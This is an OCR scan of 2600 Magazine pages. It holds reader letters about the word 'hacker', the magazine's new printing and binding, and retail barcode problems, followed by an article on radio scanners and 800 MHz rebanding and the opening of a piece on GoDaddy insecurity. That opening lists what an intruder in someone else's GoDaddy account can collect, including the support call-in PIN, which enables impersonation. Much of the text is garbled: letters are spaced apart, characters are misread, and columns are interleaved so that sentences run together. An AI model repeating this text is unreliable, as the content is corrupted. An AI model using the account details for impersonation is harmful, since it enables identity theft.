reporting. If it has anything to do with computers, 
phones, credit cards, or technology in any sense, 
hackers will be the ones seen as the threat. Never 
mind that  a bank has taken your private informa­
tion and passed it around to all sorts of other enti­
ties without your permission. Never mind that  they 
do this to millions of people every day. And never 
mind that  they don't even bother to secure this 
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information properly and always wind up losing it 
or putting it in places where it becomes accessible to 
the entire world. All of that  is irrelevant compared to 
the possibility that  "hackers " will find this infO! ma­
lion and use it to make your life miserable. /-Iackers 
become the threa t and the real guilty parties get 10 
walk awa), and do the same things over and over. 
Most pf'Ople understand this absurdity. It' s our job 
to see that  the media gf'ts it too. Whc'nevc'r such a 
story gets reported, those spreading it around need 
to hear hom us letting them know in no uncertain 
terms that hackers are not the problem and, in many 
cases, they are the solution. (Jon 't give in to their 
sloppy journalism by conceding their misuse of the 
word and renaming ),ourse!f as something L'ise. That 
doesn't solve anything and evmtually the)" 11 just 
misuse any other words we come up with as well. It" 
a frustrating /xlttle to be sure, but it:s most certainl), 
not a lost cause. 

Incidentallv we don't believe the word "terroris t"  
has  ever meant mmething non-evil. unlike all ,'our 
other examples. That  word, however, is being used 
far too commonly to describe Ihings that barely 
would have attracted any attention in the past and 
which continue to cause no harm toc/ay. 

The Format  

Dear 2600: 
Rega rd i n g  the l atest format, here are some 

reasons why I don ' t  l i ke i t : 
1 )  Paper s me l l s  bad.  When I ' ve opened prev ious  

i ssues, there has  been  a noticeab le  absence i n  the  
a roma department. The  cu rrent i ssue (2 3 :4)  smel l s  
l i ke a n  o l d  Xerox mach i ne .  

2 )  The paper has  a bad gr i tty fee l i ng, k i nd of l i ke 
when you make you r  own toothpaste and  forget to 
mash up the ca lc i u m  p i l l s  enough.  There ' s  a sandy 
res idue that j u st does n ' t  fee l  r ight .  

3)  I perso n a l l y  fee l that the fo ld-n-stap le  b i n d i ng 
is better than the g l ued b i nd i ng.  The stap les w i l l  
h o l d  that sucker togPlher  for a long long t ime .  I n  
the g l ued vers ion ,  t h e  pages w i l l  fa l l  o u t  when I 
photocopy some of the  better i l l ustrat ions!hacks! 
h ow-to ' s  i nto my persona l  col l ect ion of  D I Y  a rt i ­
c l es .  A l so, some of the l etteri ng  i s  c l ose to the sp ine  
and  can be annoy ing  to read .  

I f  you went to t h i s  format due to costs, then I 
wou l d  defi n i tely read it t h i s  way over not read i n g  
a nyth i n g  at a l l .  However, i f  t h i s  w a s  j ust a n  exper i­
ment, I 'd l i ke to put  in my vote for "no"  i f  there a re 
actua l l y  votes be ing  ta l l ied.  

But, most of a l l ,  thanks for a lways try i n g  to he 
fresh and i n novative. 

Brian H eagney 
This is the first we 're hearing that we had a non­

offensive aroma.  Knowing this now we will figure 
out hm'\/ to get it back. We'll also find out if there 
are any differt'nces in the a ctual paper used. As for 
the binding, we 've heard pros and cons on the new 
style. We do know it won 't fall apart and that  this 

sWle is used by many publications. This is some­
thing we don 't have a choice in as it's the only kind 
of binding our new printer does. 

Dear 2600: 
Did  you try a new way of pr in t ing  the magaz i n e  

w i t h  t h e  Wi nter i ssue?  Because I l i ked i t  a l o t  better 
when you j ust stap l ed the pages of the maga z i n e  
together. I t  w a s  a l ot eas ier t o  get the magaz i n e  to 
l ay flat w h i l e  you were read i n g  it, w h i c h  is some­
th ing  that i s  very i m porta nt i f  you read wh i le you ' re 
eati ng. N ow, you h ave to pract ica l l y  tCil r thc pages 
out i f  you want them to l ay f lat .  I f  anyt h i n g, the 
i ns ide page margi n s  need to be extended about 
half  an  i nch,  because wi th  the magaz i n e  bound 
l i ke t h i s, you can hardly read the text o n  the i n s ide 
edge of the pages .  But  I wou l d  say j u st go back to 
stap l i ng the pages, i t  worked a l ot better. 

Jeff 
We 're a ware of the problem with the margins 

and we apologize for any hardship tha t may have 
ca uwei. As you can see, we've madf' them a bit 
wieler for this issue. This is part of the growing pains 
involved when (r>'ing something new. There were 
others . .  

Dear 2600: 
I read in "Trans i t ion"  that a new company i s  

p r i n t i n g  t h e  magaz i nes and  I not iced t h a t  i m me­
rl i ately because the b i nd i ng had changed . B ut, 
whatever i n k  they are us i ng is mak i ng its way to my 
fi ngers more than stay i n g  on the magaz i n e  front! 
back cover. It is l eav i n g  my f ingerpri nts for a nyone 
to adm i re on whatever I touch .  I l i ked read i n g  you r  
magaz ine  without hav i n g  t o  fee l  i i ke I had been 
processed at the pol ice stat ion when I ' m  done 
read i n g  i t .  Cou l rl you ta l k  to the pr in ter about th i s ?  
Are  there other  pr i  n ters to  cons ider? 

I nked Fingers 

Dear 2600: 
Just wanted to ca l l  your attent ion to the b lack  

ink  used o n  the cover of the Wi nter 2 006-2 007 
edi t ion of 26()() I The ink  rubs off! 

I got my subscr ipt ion in the m a i l ,  opened it , and  
accidenta l ly l eft it o n  the cou nter after my lunch  
brea k .  My ilatmate came by and t h u m bed t h rough 
i t  before I got back to i t .  By then there were b lack  
fi ngerpri nts o n  a few pages. (At first I thought i t  was 
a c l ever pr in t i ng  t r ick  anrl then I thought i t  was 
s loppy work at the pr i nter. But no, soon I not iced 
my hands were turn i ng dark and the back cover 
had some p laces where the b l ack  i n k  was rubbed 
away (did they print i t  with dry erase i n k ? ! ) .  

I went b y  and  warned my loca l  s ma l l  news­
stand ( N ews land)  to put them in p last ic baggies 
(when they get the i r  s h i p ment i f  i t  has  the same i n k  
prob lem)  o n  t h e  she l f  t o  keep peop le  from mess i n g  
up  t h e  covers ( m a k i n g  t h e m  u nse l lab le ) .  I ' m  s u re 
someone w i l l  see the baggies and  th i n k  they are 
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t ry i n g  to rest r ict readers ( l i ke how they bag porn ) .  
Adric 

Let's just call tha t  our special "fingerprint issue " 
and not speak of it again . 

Dear 2600: 
I love th i s  z i ne  and a l l  that comes with it. I 

remember the fi rst t ime I j ust happened onto your 
pages i n  a bookstore. I have been engrossed ever 
s i nce. Tha n ks for the i ns ight, the commentary, and  
a l l  t ha t  you  and the writers do .  

I remember when  Playboy lost the i r  stap le  b i nder. 
They too have been u nstoppable ever s i nce!  

I roeB 
Well then we're certainly heading down an inter­

esting road. 

Dear 2600: 
I l i ke the new b i n d i n g  you r  magaz ine  has now. I 

have a suggest ion though . It wou ld  be n ice to have 
the vo l u me and issue n u mber on the sp ine .  A c lever 
message or quote on the sp ine wou ld be a n ice 
touch a l so .  

Jason 
We'll consider our options now that  we've finally 

grown a spine after 20 years. 

Dear 2600: 
Please prov ide an i ndex in the back of the maga­

z i ne, or at the end of each a rt ic le, of a l l  U R L ' s  which 
appear  i n  the a rt ic les .  Someti mes I read about  a U R L  
and then I ca n ' t  fi nd which art ic le  i t  was i n .  You 
cou ld  even have the authors do the work for you as 
part of the submiss ion gu ide l i nes, i .e . ,  attach the l i st 
at the bottom of every art ic le .  

J ust look ing for a way to exp lore more of th i s  
great wor ld  you ' re creati ng. Th i s  wou ld  he lp  make 
it eas ier. 

Ian 
This is a good idea, one which a number of our 

writers already engage in . We'll encourage the rest 
to follow suil. 

Sales 

Dear 2600: 
Open ing  the Winter 2 006-2 007 issue and 

read i n g  the "Trans i t ion"  ed itor ia l ,  I sta rted th i n k i ng 
of ways to he lp  out. Obvious ly  I try and do my part 
by subscr ib i ng, but that j u st makes me one of (hope-

to i nterested parties. They cou ld  be given out to 
fr iends, fam i l y, coworkers. B r i ng  a stack to the local  
meet ing  and give them out to anyone who has n ' t  
been a b l e  t o  get the i r  copy, or  a n y  i n terested pass­
ersby who wonder what we a re about. I f  we can 
c lear  out every unso ld copy before the d i str ibutor/ 
reta i ler can destroy them and  charge 2 600, then we 
w i l l  be both sav ing  2600 money and "spread i n g  the 
word" to many more i n d iv idua l s .  

I f  th i s  date i s  set by  the reta i ler rather than 2600, 
we a l l  need to su rvey o u r  local  bookse l lers and  
newsstands and share th i s  data w i th  each other so  
we know when  to  make our  p u rchases. Obvious ly  
we don ' t  want to make i t  more d i ffi cu l t  to l ocate a 
copy loca l l y  - on ly  snatch up the spare copies j ust 
before destruct ion . 

You say you exist to serve us, you r readers. For 
that I thank you .  P lease let us  know what we can do 
to help you accompl i sh th i s .  

saiboogu 
That 's an incredibly generous idea on so many 

levels. Thanks for suggesting it .  As for on sale dates, 
as of this issue we have finally a ttained a consistent 
schedule which should be easy to remember. Each 
new issue will be on sale on the "2 600 Friday "  (first 
Friday of the month) following a season change. 
50 anytime it's the first Friday of a new season, you 
should be able to find the new issue at newsstands. 
In other words, this issue will be on sale on Friday, 
April 6 since that's the first Friday of the month 
following the start of spring (and we assume the 
previous issue will be taken off the shelves at around 
this time) . The next issues will be on sale on July 6, 
October 5, etc. We intend to do whatever it takes to 
keep to this schedule. 

Dear 2600: 
Fi rst of a l l ,  great magaz ine  and keep up the good 

work .  I buy you r  magaz ine at my local  Barnes & 
Noble here i n  Or land Park, I l l i no i s .  I was sk imming  
through the  Wi nter 2 006-2 007 i s sue  wh i le wa i t ing i n  
l i ne to  pu rchase and saw a back  cover photo rel ated 
to Ba rnes & Noble and decided to show the cash ier. 
He sa id they have to enter a pr ice manua l l y  for 
each and every magaz i ne .  Makes sense. I have a l so 
noticed th i s  in the past, s i nce magaz i nes can cha nge 
pri ces regu l a rl y  ( i nc l u d i n g  th i s  one wh ich went up 
th i s  issue) u n l i ke books which have the same pr ice 
and don ' t  go up each year or so. 

CPeanutG 
fu l ly) many thousands.  So, let's mu l t ip ly  the efforts of The UPC (bar code) has the price imbedded in it. 
those thousands . . . .  Note that  when our price changed, s o  did our code. 

I have noticed a " D i sp lay Unt i l "  date on many 50 something isn 't quite right with tha t  explanation . 
magazi nes on newsstands and i n  bookstores. I In the case of Barnes & Noble - as it's been explained 
assume th i s  is the date that the u nsold copies are to us - if the magazine isn 't scanned (or if the entire 
destroyed . Does 2600 spec ify a certa i n  date to keep UPC isn 't entered manually) the sale isn 't credited 
u nsold copies on the she lves unt i l ?  If  so, I suggest to us. And we wind up paying a big percentage for 
2600 share that date with your readers, and we any "missing" magazines. 50 if you ever get a receipt 
a l l  can make a concerted effort to v i s i t  any news- tha t  doesn 't display our name on it from the UPC 
stand sel l i ng 2600 on or j ust before that date. At that database, we'd really like to know about it since that  
poi nt, we shou ld pu rchase as many  of the  rema i n i ng probably means (with this bookstore chain at least) 
cop ies as we have the means  to and  d i str ibute them tha t  we 're not getting credited. 
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Dear 2600: 
I just  thought I wou l d  te l l  you guys when I bought 

my l atest mag at my local  Barnes & Noble the c lerk 
there, who i s  a l so a n  avi d  reader, poi nted out to 
me that that  photo of the regi ster i s  not a "g l i tch" 
because a l l  magazi nes h ave to be manua l ly  entered . 
They scan the mag but  enter the pr ice. He sa id  it was 
l i ke th i s  nat ionwide, accord i n g  to the manager. 

TwitcH 
This also makes little sense to us since the price 

should be included in the UP(� at least in the States. 
But at  least there 's an indication that  a sale of the 
magazine is being logged. 

Dear 2600: 
As d man in my 60s I may be an except ion to 

the norm . I d i d n ' t  know how much 2600 cost before 
and I do not know what i t  costs now. When I see a 
new issue on the newsstand I buy it .  The on ly  way I 
wou l d  care about the pr ice wou l d  be for it to get so 
h igh as to ca l l  i tself to my attent ion.  But  for now the 
content i s  worth whatever you a re chargi ng. Hope 
you can hang on. 

Johnson Hayes 
We intend to and thanks for the support. 

Dear 2600: 
When you were embro i led in the DeC55 l awsu i t  

I thought  that a good way to he lp you was to become 
a (voca l )  l ifet ime subscr i ber. I now rea l i ze that I may 
be contri but ing to you r  economic woes at th i s  poi nt.  
So, i s  there a ny way I can contr i bute to you r  maga­
zine (renew my l i fet ime subscr ipt ion, i f  you wi l l ) ?  

Alfredo Octavio 
Thanks for your coo cern but a lifetime suhscrip­

tion is just that:  good for your lor our) entire lifetime. 
It's theoretically possible that  if you died and then 
were brought hack to lili.· that  you would thcn have 
to get a second suhscription hut you would likely 
also have to change your name and address since 
our computer would assume that you were' still living 
your first life. You could lie to us and just say you 're 
somebody you 'n' not and we would never know. Or 
you could also make a lot of enemies by suhscribing 
unwilling people to uur magazine for their entire liie­
time. Whatever you do, don 't feel guilty. Our lifetime 
subscrihers have been quite essential for our exis­
tence and we 're glad you 're a part of uur family. 

Dear 2600: 
I j ust received 2 3 :4 today. I was surpr ised when 

you wrote two whole pages exp l a i n i ng why you 
had to i ncrease the pr ice.  I th i n k  ynur magaz i ne i s  
sti l l  worth more than  you  charge. The  i niormat ion 
that i s  presented i n  the magaz i n e  i s  a true i nsp i ra­
t ion beca use i t  rem i nds me why consumerism and 
commerc i a l i s m  h ite. The shar ing  of i nformation 
i s  beautifu l ,  and so often we get fed rubbish by 
greedy corporat ions that try to Fox thei r way i nto our 
m i nds.  

So thank you so much for you r magaz ine  and 

you should never have to apologize to you r  readers 
for a modest price i ncrease over the years. I can ' t  
th i n k  o f  a n y  other magaz ine  that charges what you 
do and can br ing  the same level of content. Wa it  
u nt i l my son can start read i ng !  You ' l l  h ave another 
reader then. 

DigiCOl 
We want to thank you and the many others who 

have written with words of support. We 've heen 
through some difficult times and we've faced a lot 
of challenges but iLs the spirit of our readers that  
always comes through and makes i t  al l  worthwhile. 

Dear 2600: 
What cost i ncrease? I d i d n ' t  even notice. If I 

compare the cost to learn i ng/i nformat ion ratio  I am 
sti l l  gett ing  more than my money ' s  worth .  I don ' t  get 
through a l l  of one issue before I buy the next. You r  
hook let and P C  Answers o u t  o f  Eng land a re t h e  best 
buys on the market. 

In read ing  you r comments about why you r pr ices 
go up, I want to let you know what happened to me 
on my l ast pu rchase. 

F i rst, the books were on a flat bottom shelf u nder 
t i l ted shelves. They a re harder to see. I f  I were not 
specif ica l ly looki ng for i t  I wou l d  m i ss it. 

Second, at checkout, you r  book was the on ly  one 
of three that had to be manua l l y  entered. No wav ing  
the  mag ic  wand.  Are  they pay ing  you ?  I don't know. 

I do wonder how the new b i n d i ng w i l l  ho ld 
up with me fo l d i n g  i t  a l l  the way back for  eas ier 
read i ng. 

Keep up the good work .  
Prof. Morris Sparks 

Dear 2600: 
I ' ve seen the issue of sh r i nk  ment ioned i n  

two i ssues o f  2 600 i f  I remember correct ly. W h i l e  
read i n g  "Trans i t ion"  I rea l i zed t h a t  a l most every t ime 
I ' ve pu rchased a 2600, i n c l u d i n g  the l atest i ssue, the 
cash ier can not get the bar code to SGIIl and  pu nches 
in the pr ice manua l l y. So fa r I ' ve pu rchased a tota l 
of a rou nd eight to ten issues from Barnes & Noble, 
Horders, and  Wegman ' s .  I have my latest receipt 
which conta i n s  the fo l lowi ng for my purchase: 
Periodic al 
7 2 5 2 7 4 8 3 1 5 8 6  6 4  PR N 6 . 2 5 

Th i s  was from a Horders store. I ' m  not s u re if that  
ident i fies i t  as a 2600 or not .  If  you th i n k  you guys 
a re gett i ng  shafted on this one, I cou l d  send you the 
receipt. I don ' t  know i f  any of th i s  hel ps, but I f igu red 
it cou l d n ' t  h u rt to send a heads up .  

F 
In this case it appears the cashh'r punched ill 

the UPC manually as those numbers match the ones 
which can he found on our Winter 2006-2007 { ,sue 
But we have to wonder if there is some sort of a fail­
safe method to prevent the wrong numhers from 
being entered or, worse, no numbers at all. Our bar 
code is up to the industry standard and should work 
everywhere. 
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by Tom from New England (aka Mr. !com) the locat ion I ' m  stay i ng at and do a " Loca-
Hav i ng been a n  RF  hacker for a coup le t ion/Freq uency (Range)" search off G u l l foss 

decades, I ' m  glad to see an i ncrease i n  for a 5 to 1 5  m i le rad i us from sa id locat ion,  
i nterest among technolog ica l  enth us iasts in  depend i ng on how pop u lated i t  i s .  I f  you ' re 
the wonders that exp lor ing  the rad io spec- in a p l ace such as New York C i ty, even do ing 
tru m has to offer. Th i ngs have changed qu ite a one-m i le rad i u s  search wi l l  prov ide you 
a bit s i nce 1 987 when I wrote my fi rst a rt i c le  with more frequency data than you ' l l  i n i t i a l l y  
for 2 600. What a long, strange tr i p  i t ' s  been .  know what to d o  with . 

One of the stap les of the mon i tor ing enth u- The problem with raw l i cense/frequency 
s iast was Rad io Shack ' s  Police Call frequency data i s  that you cou ld  get a dozen frequen­
d i rectory. N o  matter where you l ived in the c i es for a spec i fic  agency or bus i ness and 
U SA, you cou ld  wa l k  i nto the McDonal d's st i l l  have no i dea what spec i fic  u se the 
of e lectron i cs stores and have a l l  the pub l i c  frequency h a s .  The Radio Reference s i te c a n  
safety records o f  you r  loca le  and a b u n c h  of somet i mes he lp  with th i s, depen d i ng on 
usefu l reference mater i a l  at you r  fi ngert i ps. how many active contr ibut ing  sca n n i sts are 
Later i ssues i nc l uded a CD conta i n i ng the in the area of i nterest. Desp i te the dem i se of 
whole country ' s  p u b l i c  safety l i cense data, Police Call, there are sti l l  n u merous " loca l "  
selected bus inesses, a n d  a l l  t h e  other extras frequency d i rector ies that may be ava i l ab le  
that  ensured Tandy Corp. received at  least at you r  nearby rad io shop. Those of you i n  
some of you r  hard-earned cash once a year. the Northeast who want a n i ce complete 
The most u sefu l part of Police Call was some- pr i nted d i rectory to ho ld  in you r  hands are 
th i ng they ca l led the Conso l idated Frequency b lessed by the presence of Scanner Master i n  
L i st .  I t  to l d  you what serv ice was a l located Massachusetts . Thei r  web s i te is http://www. 
to a part i cu l a r  frequency. With it, you cou ld  scan nermaster. com/ and they sel l some rather 
look u p  a frequency l i ke 45 .88 MHz and exce l l ent deta i led gu ides for the Northeast. 
q u ick ly  find out i t  was a l l ocated to the F i re The i r  Southern New England Pocket Guide 
Serv ice for " i ntersystem" com m u n i cat ions i s  a constant mon itor i ng compan ion of m i ne 
(that frequency by the way, happens to be the a long with a wel l -used Moles k i ne pocket 
i nter-county chan nel  for New York State fi re journa l .  
departments) . U nfortunate l y  Police Call 's l a st Readers of 2600 shou ld  b e  fam i l ia r  with 
edit ion was pub l i shed i n  2 005 . You sti l l  m ight the S igna l Sta l ker po l i ce scan ners, s i nce there 
be ab le  to fi nd  a copy of the l ast ed i t ion at a h ave been a coup le  of a rt ic l es p u b l i shed i n  
loca l  Rad io Shack a n d  i t  wou l d  b e  a worth- prev ious  issues.  Many people have an  i nterest 
wh i le reference j u st for the Consol i dated in hear ing s igna l s  in thei r i m med i ate v i c i n i ty. 
Frequency L i st .  U pon see i ng someone nearby with a hand-

The I nternet has a n u m ber of sou rces he ld  rad io, they wonder what the frequency 
for frequency data . The most pop u l a r  s i te i s  i s  and what ' s  be i n g  ta l k i ng about. Back i n  
Radio Reference a t  http://www. rad iorefer- the o ld  days, we used handhe ld  frequency 
ence.com/. Or ig i na l l y  a s i te for i nformat ion cou nters l i ke the $99 Rad io  Shack spec i a l ,  
about tru n ked rad io  systems, i t ' s  probab ly  the or  a much more expens ive Optoelectron ics  
b iggest s i te of  user-contr ibuted frequency and Scout .  There were a l so "nearfie ld  receivers" 
rad io system data on the Net. The second s i te l i ke the Optoel ectron ics  R- 1  a I nterceptor and 
i s  ru n by the FCC,  and i s  com mon l y  known by Xp lorer, but  they too were beyond the f inan­
the n ickname " G u l l foss . "  I t  i s  the FCC General  c ia l  reach of  many hobbyi sts . The frequency 
Menu Reports page, which i s  the whole FCC cou nters worked OK, but  you genera l l y  had 
l i cense database.  Its U RL i s  http://gu l l foss2 . to get with i n  a h u n d red feet or so of the trans­
fcc .gov/reports/ index.cfm . What I l i ke to do m i tter. You a l so had to contend with cont i n u ­
i s  take t h e  lat i tude/longitude coord i nates of ous ly  tra nsm itt i ng  h igh-power an noyances 
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such as broadcasters and  pagers. necessar i l y  better becau se of the frequency 
The S igna l  Sta l ker changed a l l  that. I n stead cou nter ' s  lack of se l ect iv i ty. A h i gh-ga i n  

o f  carry ing  a rou nd both a frequency cou nter antenna attached t o  a frequency cou nter 
and a scan ner, you r  scanner serves doub l e  usua l l y  res u l ted i n  t h e  cou nter d i sp lay ing  
duty. Annoy ing  s igna l s  can be  ignored, and  the frequency of  a loca l pager or b roadcast 
you can i m mediate ly  hear the s igna l  u pon transmi tter. Th i s  i s  not  the case with a S igna l  
detect ion .  You can scan you r  usua l  frequen- Sta l ker. A h igh ga i n  anten n a  combi ned with 
c ies and set i t  to a l ert you when someth i n g  t h e  S i g n a l  Sta l ker ' s  ab i l ity to l ock out a n noy i ng 
nearby keys up .  You no longer have to get as s igna l s  and se lect i nd iv idua l  frequency bands 
c l ose to a transmi tter, as i t  can detect s igna l s  wi l l  res u l t  i n  a n  i nc rease i n  near-fie l d  recep­
from 1 000 feet away. And you cou l d  own tion range. U s i n g  a magnet-mount  scanner 
a S ignal  Sta l ker for u nder $ 1 00.  The ub iq- antenna on the car, I ' ve "detected" my cou n ­
u itous  model was t h e  Rad io  Shack PRO-83 ty ' s  fi re d i spatch frequency from ten m i l es 
handhe ld .  Now d i scont i n ued, it reta i led for away, and a five watt VH F- low band RIC l i n k  
$ 1 2 0  b u t  was often o n  sa l e  for u nder $ 1 00.  from about 2 000 feet. 
You sti l l  m ight fi nd one at the c l earance pr ice One th i ng I noticed about the PRO-83 
of $ 70 .  Its lesser-known twi n  i s  the U n iden i s  that the supp l ied short antenna i s  bare ly  
BC-92 X LT. U n iden refers to  the  near-fie ld  adequate. The BC-92 X LT has a s l ight ly  better 
reception featu re as C lose Ca l l , but it  works stock antenna, but as a genera l r u l e  a l l  stock 
the same way as Rad io  Shack.  Other than rubber duck a nten nas that  come with scan­
some m i nor fi rmwa re d i fferences, they are ners  a re designed for u n iform l y  average 
the same u n it .  A certa i n  i nfamous reta i l  store to med iocre performance across a wide 
cha i n  from Arkansas has it i n  the mob i l e  e lec- frequency range. I suggest u pgrad i n g  with 
tron ics  department for only $99.99.  There a better aftermarket anten na .  You can get a 
a re a l so h igher-end S igna l  Sta l ker/C lose Ca l l  Rad io Shack # 3 2 0-034 Del uxe Rubber Duck 
scan ners ava i l ab le  that have extra featu res Antenna for genera l pu rpose mon itori ng, or 
such as tru n k  tracki ng, P2 5 recept ion,  and the i r  #2 0-006 te l escop i ng wh i p  for when 
cont i n uous 2 5 - 1 300  MHz ( m i n u s  cel l u l ar) you ' re in a fixed locat ion and want  opt i m u m  
frequency coverage. recept ion . In a s i m i l a r  vei n ,  when dr iv ing i n  

One of the m a i n  comp la i nts I hear about a veh ic l e  hav i ng the scan ner with a rubber 
the Signal Sta l kers i s  the lack of capab i l ity duck antenna  s i tt i ng  on the seat next to you 
to lock out a n noy i ng frequenc ies wh i le i n  won ' t  c u t  i t .  Get an  externa l  antenna  for you r  
S igna l  Sta l ker mode. For sta rters, i f  you h ave veh ic le .  Wh i le  on the subject of a nten n as, 
a U n iden BC-92 X LT, enab le the C lose Ca l l  you m ight be ab le  to scrounge someth i ng u p  
" pager sk ip" fu nct ion .  Th i s  wi l l  e l i m i nate the depend i n g  on what bands you a re i nte rested 
vast major i ty of a n noy i ng s igna l s .  On both i n .  CB antennas work very wel l  on the V H F  
u n i ts, when you fi nd  a n  a n noy i ng s igna l i n  Low band 0 0-50 MHz) .  D u a l -band (two 
SS/CC mode s imp ly  h i t  " F U NC"  twice and meter and 70 em) hand antennas  w i l l  work for 
then " LlO" .  Th i s  w i l l  lock out the frequency. the V H F  h igh and U H F  bands ( 1 38-1 44 and 
The user  manua l  i s  a l i tt l e  vague on that. 440-5 1 2  MHz) .  Old AMPS ce l l u la r  a nten nas 

U n l i ke frequency cou nters, the s igna l  a re perfect for the 800 and 900 M H z  bands, 
acq u i s i t ion t ime on S igna l  Sta l kers i s  a l i tt l e  but  you w i l l  need a TNC-to- B N C  antenna  
longer. To shorten th i s  t i me, deselect bands adapter to use them . 
you ' re not at the moment i n terested i n  I ' ve rece ived a fa i r  n u mber of ema i l s  from 
hear ing  act iv ity o n .  For example, if  you ' re i n  peop l e  ask ing what sca n ner they shou l d  buy. 
the midd le  of some ru ra l  farm land and there For a bas i c  non-trun k-tracki ng, non-P2 5  u n i t  
i s  no U H F  or 8 0 0  M H z  act iv i ty, then deselect the PRO-83 or BC-92 X LT is an exce l lent 
those bands.  S i nce you w i l l  probab ly  (note va l u e  for the money j u st to have near-fie ld  
I sa id probab l y) not  hear  a nyth i ng on the reception capab i l i ty. When i t  comes to t ru n k­
a i rcraft band u n l ess you l ive next to an a i rport, track ing  sca n ners however I wou l d  avoid 
you m ight want  to deselect the a i rcraft band buying one at the moment .  Why? The reason 
as wel l .  You never know what you m ight be is someth i ng ca l led " reband i ng" .  At present 
m i ss i ng  however. I don ' t  l ive near an  a i rport, the 800 MHz land mob i le  band is a host to 
but  I ' ve gotten S igna l  Sta l ker h i ts from p l anes both pub l i c  safety com m u n i cat ions and the 
fly i ng overhead at l ow a l t i tude. Nextel serv ice.  Th i s  has resu l ted i n  i nterfer-

Many of you who have p layed with ence i ssues over the years. To e l i m i nate the 
frequency cou nters were aware of the fact prob lem, the FCC i s  doing the fo l lowi ng: 
that a "b igger" ( h i gh ga i n )  antenna  was n ' t  1 .  Mov i ng Nexte l to the top of the 800 
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MHz band and pub l i c  safety to the bottom.  
At present, pub l ic  safety comm u n i cat ions are 
most ly  on the edges of the band, with N exte l 
i n  the m idd le .  

2 .  Chang ing the channellfrequency 
spac i n g  from 1 2 . 5  KHz to 6.25 KHz. Th i s  
wi l l  doub le the amou nt of  channe l s  ava i l ­
ab le .  Consequent ly, rad io u sers wi l l  have to 
convert to n arrowband mod u l at ion . 

3 .  Eventu a l l y  movi ng Nexte l off the 800 
MHz band and u p  to the 1 .9 GHz PCS band .  

Th i s  i s  troub lesome for tru nk-track i ng 
scan ners because of N u mber 2 above. Each 
1 2 . 5  KHz frequency i s  assigned a channe l  
n u m ber. The channe l  n u mberlfrequency 
ass ign ments wi l l  change when the band goes 
to the narrower spac i ng.  Tru n k-trackers use 
those channe l  n u mbers to determ ine  what 
frequency to tune in order to fo l low a ta l k­
group on the system.  After a system has been 
rebanded, the cu rrent c rop of tru n k-track ing 
wi l l  not  fo l low the system as the channe l  
n u mberlfrequency ass ign ments wi l l  be a l l  
wrong. 

New England was supposed to be the fi rst 
to go th rough rebandi ng, and the process has 
yet to occu r  as of the t ime of th is  wr i t i ng. I ' d  
expect other parts of the cou ntry t o  g o  through 
s i m i l a r  de lays .  As far as scanner man ufac­
tu rers a re concerned, Rad io  Shack i n i t i a l ly 
sa id  the fi rmware of the i r  t run k-track i ng scan­
ners wou l d  be upgradab le  but  then changed 
thei r m i n d .  I f  you have a c u rrent model Rad io  
Shack tru n k-tracker sca n ner, you w i l l  be out  
of  l uck once reba n d i ng occu rs to  the systems 
you mon i tor. U n iden ( Bearcat) has sa id  that 
their  cu rrent mode l s  wi l l  be fi rmware u pgrad­
ab le  and some upgrades have a l ready been 
made ava i lab le  to correct a few bugs found  
i n  ea r l y  vers ions  o f  the  fi rmware. However I 
suspect that u n l ess the reba nd i ng progresses 

q u icker, once the "cu rrent" model s  become 
d i sconti nued, product support ( i n c l u d i ng 
fi rmware upgrades) for them wi l l  cease to 
ex i st as is usua l l y  the case with "obsolete" 
equ i pment.  

Once the FCC, land mob i le rad io  i n d ustry, 
and Nextel get the i r  co l lective act together 
and figu re out once and for a l l  the f ina l  fate of 
the 800 MHz band, then th i ngs wi l l  be a l l  fi ne 
and dandy. U nt i l then, i f  you s imp ly  have to 
buy  a tru n k-tracker spend as l i tt l e  as poss ib le  
for a used one  a t  a hamfest. Th i s  way you 
won ' t  fee l  so bad when i t  s i m p l y  becomes a 
convent iona l  scanner after reband i ng.  If you 
have a l a rge sum of money b u rn i ng a ho le  
i n  you r  pocket, and you s imp ly  have to  buy 
someth i ng new, get one of  those computer­
contro l l ed, DC-to-Day l ight com m u n ica­
t ions receivers made by leom or AOR.  They 
actu a l l y  wi l l  never become obso lete. With 
the computer i nterface, they can be u sed 
with the Tru n ker software to fo l low trun ked 
rad io  systems, even post-rebandi ng. They a re 
read i ly mod i fied to provide a 1 0 . 7  M H z  I F  
output i n  order to u se a n  AOR ARD2 5  P2 5 
decoder box for demod u l at ing  P-2 5 aud io .  
They a l so featu re fu l l  frequency coverage 
from 1 00 KHz to 2+ G H z  ( m i n u s  cel l u l a r  i n  
the U n i ted States) .  No matter what frequency 
gets rea l located to what, you ' l l  be ab le  to 
tune i t .  As a new RF hobbyi st, a com m u n ica­
tions receiver i s  more versat i l e  than a po l ice 
scan ner. You can l i sten to local V H F/U H F  
pub l i c  safety com m u n i cat ions one week, 
tune down the spectru m a l i tt le  bit for short­
wave broadcasters and ham rad io  operators 
(3 880-3885 KHz - AM mode) the next week, 
do a l i tt le  exper i mentation with computer ized 
mon itor ing the next, and fi n i s h  the month out 
p l ay ing  with moni tori ng the var ious d ig i ta l  
modes you encou nter on the a i r. 

G o Dad dy. com I nsec��
_
�����J 

by SlEZ 
Have you ever looked i nto how i n secu re 

godaddy.com rea l l y  i s ?  Before I go i nto deta i l  
l et ' s  fi rst make someth ing  c lear. To d o  th i s  you 
must have access to someone ' s  GoDaddy 
account .  You can not say that i t  i s  tota l l y  
i m poss i b l e  for a GoDaddy account  to  be  
broken i nto. Ema i l  spam p l u s  care less people 
are proof of th i s .  

Let ' s  say you somehow got access to  a 
GoDaddy account  that you are not the owner 
of. A l l  you wou l d  have to do i s  c l ick on My 
Account and any type of i nformat ion you 
wou ld need about the person is r ight in front 
of you .  I n  there you wi l l  see My Customer 
# which cou ld  come in handy. Then by 
go i ng i nto Account Settings the person ' s  fu l l  
name, address, c ity, state, z i p  code, cou ntry, 

Page 50 --------------------2600 Magazine 



and phone n u mber a re d i sp layed . Now i n  
Account Security Information which i s  
u nder Account Settings the ema i l  address 
used u nder the account is d i sp layed . A l so 
i n  Account Security Information they were 
n ice enough to d i sp lay the Call-in Pin which 
i s  a fou r  d igi t  nu mber that  you supp ly  to the 
Customer Serv ice or Techn ica l  Su pport repre­
sentative when you ca l l  GoDaddy in order to 
verify you r  identity and customer accou nt. 
The fi na l  p iece of i nformation you w i l l  need 
in Account Settings is Payment Information 
which d i sp lays the type of cred it card used, 
the l ast four  d ig its of the c red it  card, exp i ra­
tion date, and when the c redit card was l ast 
used . What I do not understand is why a l l  
th i s  i nformation i s  be ing d i sp layed and o n l y  
